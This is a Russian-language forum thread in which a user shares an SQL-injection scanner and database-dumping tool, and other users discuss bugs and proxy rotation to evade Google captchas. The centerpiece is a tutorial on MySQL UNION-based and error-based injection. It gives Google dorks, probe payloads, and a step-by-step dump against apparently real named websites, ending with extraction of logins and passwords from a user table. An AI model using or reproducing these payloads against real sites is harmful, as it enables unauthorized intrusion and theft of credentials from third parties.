![]() |
BSQLi (best SQL injector)
BSQLi v.1.2
Всё таки я решил продолжить писать свою программу. Посмотрите, потестите. Как пользоваться особо рассказывать не буду, смотрите видео. Единственное, про что хотел рассказать, это про файлы в директории с программой: keyw.txt - файл с ключевыми словами. Эти слова добавляются к гугл-запросу для большего результата. search.txt - сами гугл-запросы inject.txt - так сказать команды, по которым определяется есть ли скуля(это система пока не очень хорошо работает). Записывается так: строка INJECT(в квадратных скобках), затем условия. Если все условия до следующей строки INJECT соблюдаются, значит скуля. условия записываются примерно так: Код:
{page}|{page+}-1==trueСсылка на программу: http://depositfiles.com/files/i3al620lc Ссылка на видео: http://depositfiles.com/files/1u9ey3qzx |
Я не могу понять почему, но когда я писал, то ввод капчи не работал: её вводишь, отправляется в гугл запрос, но при верном вводе, он всё равно пишет что неверно. А сегодня он мне предложил ввести капчу, я ввёл, потом вторую... И тут я понял что он так может до бесконечности. Ну единственное, что я придумал - отрубить инет. Отрубаю... соединяюсь... и тут программа продолжает дальше парсить гугл. Я не пойму почему так
|
Прога прикольная, только больно уж багистая.. Гуглу отпарсила нормально, а при проверке пишет Out of memory и останавливается..
|
я кстати тоже заметил эту ошибку, ищу где ошибся
|
Я решил отказаться от идеи автоматического поиска инъекций, потому что сам я люблю искать их вручную. Только теперь другая у меня идея: а если написать что-то типа браузер+дампер+гугл парсер+ещё всяких разных полезных мелочей в одной программе???
|
Не, не... Я был бы рад если бы ты закончил свое творение. Так как я до сих пор нормальной безбагистой такой программы не нашел. Надеюсь ты ее закончишь и она будет лучшей. ;)
Цитата:
Мб он ведет логи запросов от IP. Имхо если у тебя IP динамический то он у тебя меняется и гугл снова воспринимает твои запросы до поры, до времени. Сделай прогу с поддержкой прокси. Мб поможет кому то. |
так там есть есть кнопка прокси и над ней два поля: верхнее хост, нижнее порт
|
Seravin, видел, я имел ввиду что бы была быстрая смена. Типа загрузил список и как только выскочила капча, нажал на кнопку и прокся сменилась. Или лучше даже автоматически.
Кста, у тя куча багов. Будешь дальше делать прогу или хотя бы баги исправлять? :) |
Аааа, ну я об этом думал, но прост спина уже заболела за компом сидеть) ок я допишу
|
будет как то свободное время отпишу вам связку мулти иньекта. де то валялась.
|
допиши и сорцы выложи бум вместе доделать прожку )
|
Лучше напишите кто-нибудь то, что я просил
|
как там у тя работа с этой прожкой?:)
когда исправятся баги и будет доработана? |
Решил писать проект по частям, ибо как-то довольно сложно вытягивать весь проект сразу же.
И первой частью проекта стал дампер баз Databaser) Видео пока нет, потому что надо дорабатывать ещё, но вообщем-то всё можно делать интуитивно. Добавил возможность рандомного выбора user-agent и прокси. Вообщем-то из того как пользоваться хочу сказать только в каком виде должен быть url: если например есть сайт со скулей Код:
http://mashiki.dominga.ru/view.php?id=-1+union+select+1,2+--+&sec=2Код:
http://mashiki.dominga.ru/view.php?id=-1+union+select+1,[printfield]+[from]+LIMIT+[row],2+--+&sec=2Вот ссылка: http://depositfiles.com/ru/files/tj442jckb |
За ночь устранил все баги, которые заметил) Вроде бы тулза работает более-менее коректно. Записал видео, всё впихнул в один архив:
http://depositfiles.com/files/wvy03elgp |
Я тут на досуге решил написать туториал по проведению mysql-инъекций на серверах версии >5(вообщем-то я его впихну в дальнейшем в свою программу). Я знаю, что большинство в этой теме баян(вот по этому я его так хитро спрятал в теме со своей программой=) может кого нибудь заинтересуют мои мысли и он дочитает статью до конца). Для начала хочу сказать, что статья рассчитана для новичков, ибо довольно много вопросов,вообщем-то, задаются по темам аналогичных туториал, и как я понимаю либо ввиду невнимательности, либо просто народу влом читать статьи( большущий минус таким людям).
1. Start Для начала, что же такое SQL-инъекция? Банально говоря, SQL-инъекция - это внедрение "юзеравского" запроса в запрос в скрипте страницы. Что нужно для того, чтобы начать искать такую уязвимость: 1) Мозг 2) Время 3) Усидчивость 4) Внимательность(это очень важно) Где искать уязвимости(или коректнее с помощью чего их искать): 1) Конечно же наш друг Google 2) Я, иногда ищу в портфолио компаний, занимающихся разработкой сайтов 3) Некоторые хосты показывают небольшой(относительно) список сайтов Начинающему лучше всего брать не "качеством", а количестом инъекций, потому что практика - это очень важно, особенно в самом начале инжектинга. Как искать в гугле странички с уязвимостями, можно прочитать в статьях, которые обычно называются Google-хакинг. Вот парочка примеров: Код:
inurl:content.php?id=Например, гугл нам подкинул сайтик с такой ссылкой: Код:
mysite.com/index.php?id=1Основные примеры запросов: 1) mysite.com/index.php?id=1+and+1=1 (true and true = true) Если открывается страница, как с параметром id=1, значит возможно, что параметр уязвимый, если же редирект или пустая страница(или пустой контент элементов), то возможно, что тоже есть ошибка в запросе(эта ошибка достигается за счёт скобок в запросе) mysite.com/index.php?id=1+and+1=2 (true and false = false) Если пустая страница или редирект, то 99%, что инъекция есть 2) mysite.com/index.php?id=1'+and+'1'='1 (true and true = true) mysite.com/index.php?id=1'+and+'1'='2 (true and false = false) 3) mysite.com/index.php?id=1"+and+"1"="1 (true and true = true) mysite.com/index.php?id=1"+and+"1"="2 (true and false = false) 4) mysite.com/index.php?id=1+order+by+1+--+ mysite.com/index.php?id=1+order+by+1000+--+ (пустая страница/редирект) 5) mysite.com/index.php?id=1 mysite.com/index.php?id=2-1 6) mysite.com/index.php?id=1 mysite.com/index.php?id=1*1 7) mysite.com/index.php?id= Если ошибка/пустая страница/редирект, то параметр уязвимый 8) mysite.com/index.php?id=1' Ошибка 9) mysite.com/index.php?id=1hello "Unknown column '1hello' in 'where clause" (неизвестное поле 1hello) 10) site.com/index.php?id=1)/* 11) site.com/index.php?id=1')--+ 12) site.com/index.php?id=1"/* 13)site.com/index.php?id=1))--+ Список очень большой, но допольните вы его постигая науку SQL-injection) Уязвимые параметры - это не только в ссылках похожих на index.php?id=1, но и в: Код:
mysite.com/index.php/id/6/3.SQl-reference Для дальнейшего понимания советую почитать: Код:
SELECT syntax http://dev.mysql.com/doc/refman/5.1-maria/en/select.htmlДля поиска кол-ва полей можно выбрать два пути: mysite.com/index.php?id=1+and+1=2+UNION+SELECT+1+--+ mysite.com/index.php?id=1+and+1=2+UNION+SELECT+1,2+--+ mysite.com/index.php?id=1+and+1=2+UNION+SELECT+1,2,3+--+ ... И до тех пор пока не увидим числа. Или использование order by(указывает порядок сортировки полей). mysite.com/index.php?id=1+order+by+1+--+(сортировка по первому полю. если ошибки нет, значит первое поле существует) mysite.com/index.php?id=1+order+by+1000+--+(наверняка тысячное поле не существует, и мы получим ошибка/редирект/пустую страницу) mysite.com/index.php?id=1+order+by+100+--+ mysite.com/index.php?id=1+order+by+50+--+ ... И до тех пор пока не увидим страницу с id=1 (удобный способ) Как же собственно проходит инъекция: Код:
mysite.com/index.php?id=1Код:
mysite.com/index.php?id=1+UNION+SELECT+1,2+--+1 SomeText 1 2 В большинстве случаев в скрипте используется результат первого запроса -> надо SELECT id,text from mytable where id=$id как то обнулить. Это достигается засчёт ввода несуществующего параметра id(к примеру -100) или 1+and+1=2 (true and false). В результате мы, возможно, увидим цифры 1 и 2(или хотя бы одно из них). Это и есть принтабельные поля. 4.Дамп базы Теперь на примере одного сайта я покажу, как получить то, ради чего мы пришли на этот сайт: Код:
http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,3,4+--+Для начала узнаем версию, текущую базу, пользователя. Код:
http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,concat(version(),0x3a,database(),0x3a,user()),4+--+Также вместо можно использовать: version()=@@version user()=CURRENT_USER version: 5.0.51a-24+lenny2+spu1-log database: ewpa_majster01 user: ewpa_majster01@127.0.0.1 Желательно почитать ещё тут: http://dev.mysql.com/doc/refman/5.0/en/group-by-functions-and-modifiers.html Для начала определим названия баз на сервере: group_concat(schema_name) + from + information_schema.schemata Код:
http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,group_concat(schema_name),4+from+information_schema.schemata+--+group_concat склеивает строки запроса(стандартное ограничение 1024 символа) Теперь узнаем имена таблиц: group_concat(table_name) from information_schema.tables [Example] Код:
http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,group_concat(table_name),4+from+information_schema.tables+--+Но нам не нужна таблица information_schema поэтому сделаем так: group_concat(table_name) from information_schema.tables + where + table_schema<>information_schema [Example] Код:
http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,group_concat(table_name),4+from+information_schema.tables+where+table_schema<>0x696e666f726d6174696f6e5f736368656d61+--+А лучше просто получить таблицы текущей базы: Код:
http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,group_concat(table_name),4+from+information_schema.tables+where+table_schema=database()+--+group_concat(column_name) + from + information_schema.columns + where + table_name=0xHEXofTABLENAME [Example] Код:
http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,group_concat(column_name),4+from+information_schema.columns+where+table_name=0x657770615f75736572+--+Columns:id,login,pass И последний шаг, это значения: group_concat(column_name,[delimiter],column_name...) +from+table_name. [Example] Код:
http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,group_concat(id,0x3a,login,0x3a,pass),4+from+ewpa_user+--+Если вам нужно определить определённую строку база, то делаем так: Код:
http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,schema_name,4+from+information_schema.schemata+LIMIT+ROW,COL+--+row - number of receing row. Код:
http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,schema_name,4+from+information_schema.schemata+LIMIT+0,4+--+Если вы получаете ошибку: "Illegal mix of collations" то используйте unhex(hex()) (например:unhex(hex(database()))) 5. Double query Когда на странице есть два и более запросов подбор кол-ва полей не имеет никакого смысла, потому что мы подберём поля только для первого запроса, а в остальных будет ошибка. Я не читал об этом, поэтому спросил в "Вопросах об уязвимостях". Я не помню кто мне это написал, но ответ был такого плана: mysite.com/index.php?id=(SELECT+*+FROM(SELECT+*+FROM(SELECT+N AME_CONST(user(),14)a)+as+t+JOIN+(SELECT+NAME_CONS T(user(),14)a)b)c) NAME_CONST syntax http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html >v5.0.12 NAME_CONST(name,value) When used to produce a result set column, NAME_CONST() causes the column to have the given name. Смысл каков: когда используется для получения результата, то NAME_CONST "назначает"(не смог слово подобрать) столбцу имя name. Как же работает тот запрос?! Насколько я понял, он основывается на присоединении запроса "справа" к запросу "слева" с одним и тем же именем колонки. В итоге мы получаем ошибку duplicate column '', где в кавычке и указан результат NAME_CONST(в данном случае имени пользователя) Есть видео с разными инъекциями, которое я делал для одного форума: http://depositfiles.com/files/27s58g9vh В последствие буду чем-то дополнять, что-то исправлять) |
Цитата:
и название ей SQL_Helper_v2.7 хотя у тебя тоже неплохая немного удобнее некоторые функции |
Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
|
может ты еще и с sipt'ом спорить будешь?
|
Цитата:
|
Цитата:
|
ун вот и прислушивайся к мнению пользователей программы и исправляйся и делай лучше... Никто совсем непротив ...А все только 3А
|
Да да чувак.Не смотри что говорит половина.У тя норм прога сделай дизайн добавь не много функций и будет гуд
|
| Время: 18:58 |